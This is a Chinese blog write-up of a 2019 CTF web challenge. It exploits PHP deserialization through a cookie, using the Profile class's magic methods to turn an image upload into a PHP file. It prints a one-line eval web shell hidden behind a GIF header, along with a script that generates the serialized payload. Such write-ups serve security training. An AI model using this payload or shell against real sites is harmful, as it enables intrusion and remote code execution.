[强网杯 2019]Upload 反序列化结合文件上传

本文揭示了一种通过PHP Profile类的魔术方法__call和__get绕过验证,实现文件上传并植入一句话木马的攻击手法。重点在于如何利用Cookie传递序列化数据,并在Profile类中巧妙设计except数组进行控制。
摘要由CSDN通过智能技术生成

[强网杯 2019]Upload
www.tar.gz发现源码,文件还有点大,是把整个工程文件都上传了。
用phpstrom打开的话会有断点提示,一处是在Register.php,另一处是在Index.php,是在提示我们用cookie传序列化字符串。
在这里插入图片描述
在这里插入图片描述
重点在Profile.php,毕竟文件上传都是在这里控制的,看到两个魔术方法__call和__get。调用本类中没有的方法触发__call,调用this->{$name},如果本类中也没有这个属性,调用__get。
在这里插入图片描述
再倒回去看index.php中Register类的__destruct方法,如果我们把checker赋成Profile类,就会因为Profile没有index()方法然后触发__call。Profile里也没有属性index接着触发__get,最后触发except,except是个数组,只需要给except[index]赋值就可以了。
在这里插入图片描述
那么except[index]要被赋成什么函数呢?注意到我们还有文件上传没有用到:把ext赋成1进入文件复制,先上传一个带木马的图片文件,它会被md5重命名,filename_tmp赋值成这个文件,filename可以是一个php文件,这样我们就能用一句话木马连接这个php文件了。

public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

先上传个一句话木马GIF89a<?php @eval($_POST['attack']);?>,拿到图片的链接
在这里插入图片描述

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;
    }
class Profile{
    public $checker =0 ;
    public $filename_tmp="./upload/07801db3e6badaec471b24e66b8de432/23c6161c5b4dafe8becc8e29452f00b2.png";
	public $upload_menu;
    public $filename="./upload/hack.php";
    public $ext=1;
	public $img;
    public $except=array("index"=>"upload_img");
}

$a = new Register();
$a->checker = new Profile();

echo base64_encode(serialize($a));

回到网页修改cookie,刷新一下页面会报错,是正常的
在这里插入图片描述
访问php文件,一句话木马已经被上传,再用蚁剑连一下就行了
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值